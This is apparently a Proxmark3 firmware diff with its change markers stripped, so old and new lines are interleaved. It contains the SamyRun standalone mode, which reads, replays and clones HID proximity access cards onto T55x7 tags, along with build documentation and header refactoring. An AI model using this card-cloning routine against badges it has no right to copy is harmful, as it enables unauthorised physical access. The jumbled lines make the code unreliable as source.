uint32_t high[OPTS], low[OPTS];
|
||||
int selected = 0;
|
||||
int playing = 0;
|
||||
int cardRead = 0;
|
||||
bool gotCard;
|
||||
// Turn on selected LED
|
||||
LED(selected + 1, 0);
|
||||
|
||||
#define STATE_READ 0
|
||||
#define STATE_SIM 1
|
||||
#define STATE_CLONE 2
|
||||
|
||||
uint8_t state = STATE_READ;
|
||||
|
||||
for (;;) {
|
||||
|
||||
WDT_HIT();
|
||||
|
||||
// exit from SamyRun, send a usbcommand.
|
||||
if (data_available()) break;
|
||||
|
||||
// Was our button held down or pressed?
|
||||
int button_pressed = BUTTON_HELD(1000);
|
||||
int button_pressed = BUTTON_HELD(280);
|
||||
if (button_pressed != BUTTON_HOLD)
|
||||
continue;
|
||||
/*
|
||||
#define BUTTON_NO_CLICK 0
|
||||
#define BUTTON_SINGLE_CLICK -1
|
||||
#define BUTTON_DOUBLE_CLICK -2
|
||||
*/
|
||||
|
||||
Dbprintf("button %d", button_pressed);
|
||||
SpinDelay(300);
|
||||
if (state == STATE_READ) {
|
||||
|
||||
// Button was held for a second, begin recording
|
||||
if (button_pressed > 0 && cardRead == 0) {
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
LED(LED_D, 0);
|
||||
|
||||
// record
|
||||
DbpString("[=] starting recording");
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
/* need this delay to prevent catching some weird data */
|
||||
SpinDelay(500);
|
||||
|
||||
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
|
||||
Dbprintf("[=] recorded bank %x | %x %08x", selected, high[selected], low[selected]);
|
||||
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
// Finished recording
|
||||
// If we were previously playing, set playing off
|
||||
// so next button push begins playing what we recorded
|
||||
playing = 0;
|
||||
cardRead = 1;
|
||||
|
||||
gotCard = true;
|
||||
} else if (button_pressed > 0 && cardRead == 1) {
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
LED(LED_A, 0);
|
||||
|
||||
// record
|
||||
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
/* need this delay to prevent catching some weird data */
|
||||
SpinDelay(500);
|
||||
|
||||
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
|
||||
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
|
||||
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
// Finished recording
|
||||
|
||||
// If we were previously playing, set playing off
|
||||
// so next button push begins playing what we recorded
|
||||
playing = 0;
|
||||
cardRead = 0;
|
||||
}
|
||||
|
||||
// Change where to record (or begin playing)
|
||||
else if (button_pressed && gotCard) {
|
||||
// Next option if we were previously playing
|
||||
if (playing)
|
||||
selected = (selected + 1) % OPTS;
|
||||
|
||||
playing = !playing;
|
||||
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
|
||||
// Begin transmitting
|
||||
if (playing) {
|
||||
|
||||
LED(LED_B, 0);
|
||||
DbpString("[=] playing");
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]);
|
||||
CmdHIDsimTAG(high[selected], low[selected], false);
|
||||
DbpString("[=] done playing");
|
||||
|
||||
if (BUTTON_HELD(1000) > 0)
|
||||
goto out;
|
||||
|
||||
/* We pressed a button so ignore it here with a delay */
|
||||
SpinDelay(300);
|
||||
|
||||
// when done, we're done playing, move to next option
|
||||
selected = (selected + 1) % OPTS;
|
||||
playing = !playing;
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
if (selected == 0) {
|
||||
LED_A_ON();
|
||||
LED_B_OFF();
|
||||
} else {
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
LED_B_ON();
|
||||
LED_A_OFF();
|
||||
}
|
||||
|
||||
LED_C_OFF();
|
||||
LED_D_OFF();
|
||||
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
// record
|
||||
DbpString("[=] start recording");
|
||||
|
||||
// findone, high, low, no ledcontrol (A)
|
||||
uint32_t hi = 0, lo = 0;
|
||||
CmdHIDdemodFSK(1, &hi, &lo, 0);
|
||||
high[selected] = hi;
|
||||
low[selected] = lo;
|
||||
|
||||
Dbprintf("[=] recorded %x | %x%08x", selected, high[selected], low[selected]);
|
||||
|
||||
// got nothing. blink and loop.
|
||||
if (hi == 0 && lo == 0) {
|
||||
SpinErr((selected == 0) ? LED_A : LED_B, 100, 12);
|
||||
DbpString("[=] only got zeros, retry recording after click");
|
||||
continue;
|
||||
}
|
||||
|
||||
SpinErr((selected == 0) ? LED_A : LED_B, 250, 2);
|
||||
state = STATE_SIM;
|
||||
continue;
|
||||
|
||||
} else if (state == STATE_SIM) {
|
||||
|
||||
LED_C_ON(); // Simulate
|
||||
LED_D_OFF();
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
Dbprintf("[=] simulating %x | %x%08x", selected, high[selected], low[selected]);
|
||||
|
||||
// high, low, no led control(A) no time limit
|
||||
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, false, -1);
|
||||
|
||||
DbpString("[=] simulating done");
|
||||
|
||||
uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_C;
|
||||
SpinErr(leds, 250, 2);
|
||||
state = STATE_CLONE;
|
||||
continue;
|
||||
|
||||
} else if (state == STATE_CLONE) {
|
||||
|
||||
LED_C_OFF();
|
||||
LED_D_ON(); // clone
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
Dbprintf("[=] cloning %x | %x%08x", selected, high[selected], low[selected]);
|
||||
|
||||
// high2, high, low, no longFMT
|
||||
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
|
||||
|
||||
DbpString("[=] cloned done");
|
||||
|
||||
state = STATE_READ;
|
||||
uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_D;
|
||||
SpinErr(leds, 250, 2);
|
||||
selected = (selected + 1) % OPTS;
|
||||
LEDsoff();
|
||||
}
|
||||
}
|
||||
|
||||
out:
|
||||
DbpString("[=] exiting");
|
||||
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
|
||||
DbpString("[=] You can take shell back :) ...");
|
||||
LEDsoff();
|
||||
}
|
||||
|
|
|
@ -1,8 +1,9 @@
|
|||
#include "standalone.h" // standalone definitions
|
||||
#include "apps.h" // debug statements
|
||||
|
||||
#include "dbprint.h"
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" No standalone mode present");
|
||||
DbpString(" No standalone mode present");
|
||||
}
|
||||
|
||||
void RunMod() {
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Standalone Modes
|
||||
|
||||
This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `armsrc/Makefile` and `common/Makefile.hal`
|
||||
This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `Makefile.inc` and `Makefile.hal`
|
||||
|
||||
If you want to implement a new standalone mode, you need to implement the methods provided in `standalone.h`.
|
||||
Have a look at the skeleton standalone mode called IceRun, in the files `lf_icerun.c lf_icerun.h`.
|
||||
|
@ -19,7 +19,7 @@ The RunMod function, which is your "main" function when running. You need to ch
|
|||
|
||||
````
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF good description of your mode - aka FooRun (your name)");
|
||||
DbpString(" LF good description of your mode - aka FooRun (your name)");
|
||||
}
|
||||
|
||||
void RunMod(void) {
|
||||
|
@ -40,8 +40,6 @@ void RunMod(void) {
|
|||
}
|
||||
````
|
||||
|
||||
Each standalone mode needs to have its own compiler flag to be added in `armsrc/Makefile`.
|
||||
|
||||
## Naming your standalone mode
|
||||
|
||||
We suggest that you follow these guidelines:
|
||||
|
@ -58,9 +56,9 @@ This leads to your next step, your DEFINE name needed in Makefile.
|
|||
`WITH_STANDALONE_LF_FOO`
|
||||
|
||||
|
||||
## Update COMMON/MAKEFILE.HAL
|
||||
## Update MAKEFILE.HAL
|
||||
|
||||
Add your mode to the `common/Makefile.hal` help and modes list:
|
||||
Add your mode to the `Makefile.hal` help and modes list:
|
||||
```
|
||||
+==========================================================+
|
||||
| STANDALONE | DESCRIPTION |
|
||||
|
@ -74,13 +72,20 @@ STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_FOO
|
|||
STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG
|
||||
```
|
||||
|
||||
## Update ARMSRC/MAKEFILE
|
||||
Add your source code files like the following sample in the `armsrc/Makefile`
|
||||
If your mode is using one of the unique features of the RDV4, add it to the proper list:
|
||||
|
||||
```
|
||||
STANDALONE_MODES_REQ_SMARTCARD :=
|
||||
STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG
|
||||
```
|
||||
|
||||
## Update MAKEFILE.INC
|
||||
Add your source code files like the following sample in the `Makefile.inc`
|
||||
|
||||
```
|
||||
# WITH_STANDALONE_LF_ICERUN
|
||||
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
|
||||
SRC_STANDALONE = lf_icerun.c
|
||||
SRC_STANDALONE = lf_icerun.c
|
||||
endif
|
||||
|
||||
# WITH_STANDALONE_LF_FOO
|
||||
|
@ -95,12 +100,12 @@ This will enable an easy way to detect on client side which standalone mode has
|
|||
|
||||
````
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF good description of your mode - aka FooRun (your name)");
|
||||
DbpString(" LF good description of your mode - aka FooRun (your name)");
|
||||
}
|
||||
````
|
||||
|
||||
## Compiling your standalone mode
|
||||
Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `common/Makefile.hal` or ) , e.g.:
|
||||
Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `Makefile.hal` or ) , e.g.:
|
||||
|
||||
- rename Makefile.platform.sample -> Makefile.platform
|
||||
- edit the "STANDALONE" row inside Makefile.platform. You need to uncomment it and add your standalone mode name
|
||||
|
|
|
@ -11,9 +11,6 @@
|
|||
#ifndef __STANDALONE_H
|
||||
#define __STANDALONE_H
|
||||
|
||||
#include <stdbool.h> // for bool
|
||||
#include <inttypes.h> // PRIu64
|
||||
|
||||
void RunMod();
|
||||
void ModInfo();
|
||||
|
||||
|
|
1170
armsrc/aes.c
1170
armsrc/aes.c
File diff suppressed because it is too large
Load diff
34
armsrc/aes.h
34
armsrc/aes.h
|
@ -1,34 +0,0 @@
|
|||
/*
|
||||
* AES Cryptographic Algorithm Header File. Include this header file in
|
||||
* your source which uses these given APIs. (This source is kept under
|
||||
* public domain)
|
||||
*/
|
||||
#ifndef __AES_H
|
||||
#define __AES_H
|
||||
|
||||
// AES context structure
|
||||
typedef struct {
|
||||
unsigned int Ek[60];
|
||||
unsigned int Dk[60];
|
||||
unsigned int Iv[4];
|
||||
unsigned char Nr;
|
||||
unsigned char Mode;
|
||||
} AesCtx;
|
||||
|
||||
// key length in bytes
|
||||
#define KEY128 16
|
||||
#define KEY192 24
|
||||
#define KEY256 32
|
||||
// block size in bytes
|
||||
#define BLOCKSZ 16
|
||||
// mode
|
||||
#define EBC 0
|
||||
#define CBC 1
|
||||
|
||||
// AES API function prototype
|
||||
|
||||
int AesCtxIni(AesCtx *pCtx, unsigned char *pIV, unsigned char *pKey, unsigned int KeyLen, unsigned char Mode);
|
||||
int AesEncrypt(AesCtx *pCtx, unsigned char *pData, unsigned char *pCipher, unsigned int DataLen);
|
||||
int AesDecrypt(AesCtx *pCtx, unsigned char *pCipher, unsigned char *pData, unsigned int CipherLen);
|
||||
|
||||
#endif
|
1085
armsrc/appmain.c
1085
armsrc/appmain.c
File diff suppressed because it is too large
Load diff
44
armsrc/appmain.h
Normal file
44
armsrc/appmain.h
Normal file
|
@ -0,0 +1,44 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Jonathan Westhues, Aug 2005
|
||||
// Gerhard de Koning Gans, April 2008, May 2011
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Definitions internal to the app source.
|
||||
//-----------------------------------------------------------------------------
|
||||
#ifndef __APPMAIN_H
|
||||
#define __APPMAIN_H
|
||||
|
||||
#include "common.h"
|
||||
|
||||
extern const uint8_t OddByteParity[256];
|
||||
extern int rsamples; // = 0;
|
||||
extern uint8_t trigger;
|
||||
extern bool allow_send_wtx;
|
||||
|
||||
// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV
|
||||
#define MAX_ADC_HF_VOLTAGE 36300
|
||||
// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV
|
||||
#define MAX_ADC_HF_VOLTAGE_RDV40 140800
|
||||
// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV
|
||||
#define MAX_ADC_LF_VOLTAGE 140800
|
||||
|
||||
extern int ToSendMax;
|
||||
extern uint8_t ToSend[];
|
||||
|
||||
void send_wtx(uint16_t wtx);
|
||||
void ReadMem(int addr);
|
||||
void __attribute__((noreturn)) AppMain(void);
|
||||
|
||||
uint16_t AvgAdc(int ch);
|
||||
|
||||
//void PrintToSendBuffer(void);
|
||||
void ToSendStuffBit(int b);
|
||||
void ToSendReset(void);
|
||||
void ListenReaderField(uint8_t limit);
|
||||
void StandAloneMode(void);
|
||||
void printStandAloneModes(void);
|
||||
|
||||
#endif
|
252
armsrc/apps.h
252
armsrc/apps.h
|
@ -1,252 +0,0 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Jonathan Westhues, Aug 2005
|
||||
// Gerhard de Koning Gans, April 2008, May 2011
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Definitions internal to the app source.
|
||||
//-----------------------------------------------------------------------------
|
||||
#ifndef __APPS_H
|
||||
#define __APPS_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
#include "common.h"
|
||||
#include "usb_cdc.h"
|
||||
#include "crc32.h"
|
||||
#include "lfdemod.h"
|
||||
#include "BigBuf.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "hitag2.h"
|
||||
#include "hitagS.h"
|
||||
#include "mifare.h"
|
||||
#include "pcf7931.h"
|
||||
#include "desfire.h"
|
||||
#include "iso14443b.h"
|
||||
#include "Standalone/standalone.h"
|
||||
#include "flashmem.h"
|
||||
|
||||
extern const uint8_t OddByteParity[256];
|
||||
extern int rsamples; // = 0;
|
||||
extern uint8_t trigger;
|
||||
|
||||
// This may be used (sparingly) to declare a function to be copied to
|
||||
// and executed from RAM
|
||||
#define RAMFUNC __attribute((long_call, section(".ramfunc")))
|
||||
|
||||
/// appmain.h
|
||||
void ReadMem(int addr);
|
||||
void __attribute__((noreturn)) AppMain(void);
|
||||
//void DbpIntegers(int a, int b, int c);
|
||||
void DbpString(char *str);
|
||||
void DbpStringEx(uint32_t flags, char *str);
|
||||
void Dbprintf(const char *fmt, ...);
|
||||
void DbprintfEx(uint32_t flags, const char *fmt, ...);
|
||||
void Dbhexdump(int len, uint8_t *d, bool bAsci);
|
||||
|
||||
// ADC Vref = 3300mV, and an (10M+1M):1M voltage divider on the HF input can measure voltages up to 36300 mV
|
||||
#define MAX_ADC_HF_VOLTAGE 36300
|
||||
// ADC Vref = 3300mV, (240k-10M):240k voltage divider, 140800 mV
|
||||
#define MAX_ADC_HF_VOLTAGE_RDV40 140800
|
||||
// ADC Vref = 3300mV, and an (10000k+240k):240k voltage divider on the LF input can measure voltages up to 140800 mV
|
||||
#define MAX_ADC_LF_VOLTAGE 140800
|
||||
uint16_t AvgAdc(int ch);
|
||||
|
||||
void print_result(char *name, uint8_t *buf, size_t len);
|
||||
//void PrintToSendBuffer(void);
|
||||
void ToSendStuffBit(int b);
|
||||
void ToSendReset(void);
|
||||
void ListenReaderField(uint8_t limit);
|
||||
extern int ToSendMax;
|
||||
extern uint8_t ToSend[];
|
||||
|
||||
void StandAloneMode(void);
|
||||
void printStandAloneModes(void);
|
||||
|
||||
/// lfops.h
|
||||
extern uint8_t decimation;
|
||||
extern uint8_t bits_per_sample ;
|
||||
extern bool averaging;
|
||||
|
||||
void AcquireRawAdcSamples125k(int divisor);
|
||||
void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint32_t period_1, uint8_t *command);
|
||||
void ReadTItag(void);
|
||||
void WriteTItag(uint32_t idhi, uint32_t idlo, uint16_t crc);
|
||||
|
||||
void AcquireTiType(void);
|
||||
void AcquireRawBitsTI(void);
|
||||
void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycles);
|
||||
void SimulateTagLowFrequency(int period, int gap, bool ledcontrol);
|
||||
void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen);
|
||||
|
||||
void CmdHIDsimTAGEx(uint32_t hi, uint32_t lo, bool ledcontrol, int numcycles);
|
||||
void CmdHIDsimTAG(uint32_t hi, uint32_t lo, bool ledcontrol);
|
||||
|
||||
void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol);
|
||||
void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
|
||||
void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
|
||||
|
||||
void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
|
||||
void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26
|
||||
void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol);
|
||||
void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
|
||||
void CopyIOtoT55x7(uint32_t hi, uint32_t lo); // Clone an ioProx card to T5557/T5567
|
||||
void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT); // Clone an HID card to T5557/T5567
|
||||
void CopyVikingtoT55xx(uint32_t block1, uint32_t block2, uint8_t Q5);
|
||||
void WriteEM410x(uint32_t card, uint32_t id_hi, uint32_t id_lo);
|
||||
void CopyIndala64toT55x7(uint32_t hi, uint32_t lo); // Clone Indala 64-bit tag by UID to T55x7
|
||||
void CopyIndala224toT55x7(uint32_t uid1, uint32_t uid2, uint32_t uid3, uint32_t uid4, uint32_t uid5, uint32_t uid6, uint32_t uid7); // Clone Indala 224-bit tag by UID to T55x7
|
||||
void T55xxResetRead(void);
|
||||
void T55xxWriteBlock(uint8_t *data);
|
||||
void T55xxWriteBlockExt(uint32_t data, uint8_t blockno, uint32_t pwd, uint8_t flags);
|
||||
void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block, uint32_t pwd);
|
||||
void T55xxWakeUp(uint32_t Pwd);
|
||||
void T55xx_ChkPwds(void);
|
||||
|
||||
void TurnReadLFOn(uint32_t delay);
|
||||
|
||||
void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd);
|
||||
void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd);
|
||||
|
||||
void Cotag(uint32_t arg0);
|
||||
void setT55xxConfig(uint8_t arg0, t55xx_config *c);
|
||||
t55xx_config *getT55xxConfig(void);
|
||||
void printT55xxConfig(void);
|
||||
void loadT55xxConfig(void);
|
||||
|
||||
/// iso14443b.h
|
||||
void SimulateIso14443bTag(uint32_t pupi);
|
||||
void AcquireRawAdcSamplesIso14443b(uint32_t parameter);
|
||||
void ReadSTMemoryIso14443b(uint8_t numofblocks);
|
||||
void RAMFUNC SniffIso14443b(void);
|
||||
void SendRawCommand14443B(uint32_t, uint32_t, uint8_t, uint8_t[]);
|
||||
void SendRawCommand14443B_Ex(PacketCommandNG *c);
|
||||
void ClearFpgaShiftingRegisters(void);
|
||||
|
||||
// iso14443a.h
|
||||
void RAMFUNC SniffIso14443a(uint8_t param);
|
||||
void ReaderIso14443a(PacketCommandNG *c);
|
||||
|
||||
// Also used in iclass.c
|
||||
//bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t len, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag);
|
||||
void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par);
|
||||
void iso14a_set_trigger(bool enable);
|
||||
// also used in emv
|
||||
//bool prepare_allocated_tag_modulation(tag_response_info_t *response_info);
|
||||
//int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len);
|
||||
|
||||
// epa.h
|
||||
void EPA_PACE_Collect_Nonce(PacketCommandNG *c);
|
||||
void EPA_PACE_Replay(PacketCommandNG *c);
|
||||
|
||||
// mifarecmd.h
|
||||
void MifareReadBlock(uint8_t blockNo, uint8_t keyType, uint8_t *datain);
|
||||
|
||||
void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
|
||||
void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes);
|
||||
void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain);
|
||||
void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t *datain);
|
||||
void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
|
||||
//void MifareUWriteBlockCompat(uint8_t arg0,uint8_t *datain);
|
||||
void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
|
||||
void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||
void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
|
||||
void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
|
||||
void MifareChkKeys(uint8_t *datain);
|
||||
void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||
|
||||
void MifareEMemClr(void);
|
||||
void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain);
|
||||
void MifareEMemGet(uint8_t blockno, uint8_t blockcnt);
|
||||
int MifareECardLoad(uint32_t arg0, uint32_t arg1);
|
||||
|
||||
void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card
|
||||
void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain);
|
||||
void MifareCIdent(); // is "magic chinese" card?
|
||||
|
||||
void MifareSetMod(uint8_t *datain);
|
||||
void MifareUSetPwd(uint8_t arg0, uint8_t *datain);
|
||||
void OnSuccessMagic();
|
||||
void OnErrorMagic(uint8_t reason);
|
||||
|
||||
int32_t dist_nt(uint32_t nt1, uint32_t nt2);
|
||||
void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype);
|
||||
//void RAMFUNC SniffMifare(uint8_t param);
|
||||
|
||||
//desfire
|
||||
void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain);
|
||||
void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain);
|
||||
|
||||
// mifaredesfire.h
|
||||
bool InitDesfireCard();
|
||||
void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain);
|
||||
void MifareDesfireGetInformation();
|
||||
void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain);
|
||||
void ReaderMifareDES(uint32_t param, uint32_t param2, uint8_t *datain);
|
||||
int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout);
|
||||
size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout);
|
||||
void OnSuccess();
|
||||
void OnError(uint8_t reason);
|
||||
|
||||
// desfire_crypto.h
|
||||
void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings);
|
||||
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings);
|
||||
void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size);
|
||||
void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation);
|
||||
size_t key_block_size(const desfirekey_t key);
|
||||
size_t padded_data_length(const size_t nbytes, const size_t block_size);
|
||||
size_t maced_data_length(const desfirekey_t key, const size_t nbytes);
|
||||
size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings);
|
||||
void cmac_generate_subkeys(desfirekey_t key);
|
||||
void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac);
|
||||
|
||||
// iso15693.h
|
||||
void RecordRawAdcSamplesIso15693(void);
|
||||
void AcquireRawAdcSamplesIso15693(void);
|
||||
void ReaderIso15693(uint32_t parameter); // Simulate an ISO15693 reader - greg
|
||||
void SimTagIso15693(uint32_t parameter, uint8_t *uid); // simulate an ISO15693 tag - greg
|
||||
void BruteforceIso15693Afi(uint32_t speed); // find an AFI of a tag - atrox
|
||||
void DirectTag15693Command(uint32_t datalen, uint32_t speed, uint32_t recv, uint8_t *data); // send arbitrary commands from CLI - atrox
|
||||
void Iso15693InitReader(void);
|
||||
|
||||
// iclass.h
|
||||
void RAMFUNC SniffIClass(void);
|
||||
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||
void ReaderIClass(uint8_t arg0);
|
||||
void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac);
|
||||
void iClass_Authentication(uint8_t *mac);
|
||||
void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain);
|
||||
void iClass_WriteBlock(uint8_t blockno, uint8_t *data);
|
||||
void iClass_ReadBlk(uint8_t blockno);
|
||||
bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len);
|
||||
void iClass_Dump(uint8_t blockno, uint8_t numblks);
|
||||
void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data);
|
||||
void iClass_ReadCheck(uint8_t blockno, uint8_t keytype);
|
||||
|
||||
// cmd.h
|
||||
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
|
||||
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
|
||||
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
|
||||
int receive_ng(PacketCommandNG *rx);
|
||||
|
||||
// util.h
|
||||
void HfSniff(int, int);
|
||||
|
||||
//felica.c
|
||||
void felica_sendraw(PacketCommandNG *c);
|
||||
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip);
|
||||
void felica_sim_lite(uint64_t uid);
|
||||
void felica_dump_lite_s();
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -1,4 +1,4 @@
|
|||
#include "buzzer.h"
|
||||
#include "buzzer_disabled.h"
|
||||
|
||||
void Ring_BEE_ONCE(uint16_t music_note) {
|
||||
BEE_ON();
|
|
@ -5,10 +5,7 @@
|
|||
#ifndef __BUZZER_H
|
||||
#define __BUZZER_H
|
||||
|
||||
#include <stdarg.h>
|
||||
#include "proxmark3.h"
|
||||
#include "apps.h"
|
||||
#include "util.h"
|
||||
#include "common.h"
|
||||
|
||||
#define n_2_7khz 185
|
||||
#define note_1 956
|
||||
|
@ -27,24 +24,3 @@ void Ring_ALL(uint16_t count);
|
|||
void Ring_Little_Star(uint16_t count);
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -30,7 +30,10 @@
|
|||
* @brief
|
||||
*/
|
||||
#include "cmd.h"
|
||||
#include "usb_cdc.h"
|
||||
#include "usart.h"
|
||||
#include "crc16.h"
|
||||
#include "string.h"
|
||||
|
||||
// Flags to tell where to add CRC on sent replies
|
||||
bool reply_with_crc_on_usb = false;
|
||||
|
@ -40,10 +43,10 @@ bool reply_via_fpc = false;
|
|||
bool reply_via_usb = false;
|
||||
|
||||
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) {
|
||||
PacketResponseOLD txcmd;
|
||||
PacketResponseOLD txcmd = {CMD_UNKNOWN, {0, 0, 0}, {{0}}};
|
||||
|
||||
for (size_t i = 0; i < sizeof(PacketResponseOLD); i++)
|
||||
((uint8_t *)&txcmd)[i] = 0x00;
|
||||
// for (size_t i = 0; i < sizeof(PacketResponseOLD); i++)
|
||||
// ((uint8_t *)&txcmd)[i] = 0x00;
|
||||
|
||||
// Compose the outgoing command frame
|
||||
txcmd.cmd = cmd;
|
|
@ -35,14 +35,6 @@
|
|||
|
||||
#include "common.h"
|
||||
